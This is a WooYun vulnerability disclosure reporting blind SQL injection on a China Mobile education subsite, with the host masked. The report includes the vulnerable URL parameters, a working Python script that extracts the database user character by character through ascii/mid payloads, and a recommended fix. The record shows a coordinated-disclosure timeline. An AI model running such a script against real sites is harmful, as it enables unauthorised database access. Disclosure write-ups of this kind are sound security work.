当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0164807

漏洞标题:中国移动10086.cn某分站SQL注入漏洞(附验证脚本)

相关厂商:中国移动

漏洞作者: her0ma

提交时间:2015-12-26 12:10

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-26: 细节已通知厂商并且等待厂商处理中
2015-12-30: 厂商已经确认,细节仅向厂商公开
2016-01-09: 细节向核心白帽子及相关领域专家公开
2016-01-19: 细节向普通白帽子公开
2016-01-29: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

跟大牛们学手注~,移动的一个分站,存在SQL注入漏洞。

详细说明:

中国移动教育分站存在SQL注入漏洞,具体漏洞URL:
http://**.**.**.**/msdx/app/?action=index&app=listmenu&controller=more&grade_id=1&human_new=new&page=1&section_id=1&subject_id=all&type_id=all&version_id=all
grade_id,section_id等参数都存在问题,贴上写的python验证脚本:

import requests
import sys
import string
def getuser():
print 'Start to retrive MySQL DB:'
user=''
payloads=list(string.ascii_lowercase+string.ascii_uppercase)
payloads+=['@','.','_']
for i in range(0,10):
payloads.append(str(i))
#payloads.extend(string.ascii_uppercase)
for i in range(1,17):
for payload in payloads:
url="http://**.**.**.**/msdx/app/?action=index&app=listmenu&controller=more&grade_id=1&human_new=new&page=1&section_id=1 and (select ascii(mid(user(),%s,1)))=%s&subject_id=all&type_id=all&version_id=all" % (i,ord(payload))
res=requests.get(url)
if len(res.content)>8118:
user+=payload
print "[in progress]",user
break
print '\n\n[Done] MySQL user is %s' % user
if __name__=="__main__":
getuser()


如图获取的数据库用户的名字是:
user@**.**.**.**
就不用SQLMAP继续深入的跑了。使用mid函数从第一位截取数据库用户的字符,利用ascii函数获取字符的ascii的值,然后利用ord函数获取payload中随机字符的值,来进行比对,为真的页面和为假的页面长度是不一样的。

漏洞证明:

1112.png

修复方案:

对相关参数进行关键字过滤;
禁止使用拼接SQL语句,可以使用占位符或者存储过程之类的~

版权声明:转载请注明来源 her0ma@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-30 16:17

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国移动集团公司通报,由其后续协调网站管理部门处置.

最新状态:

暂无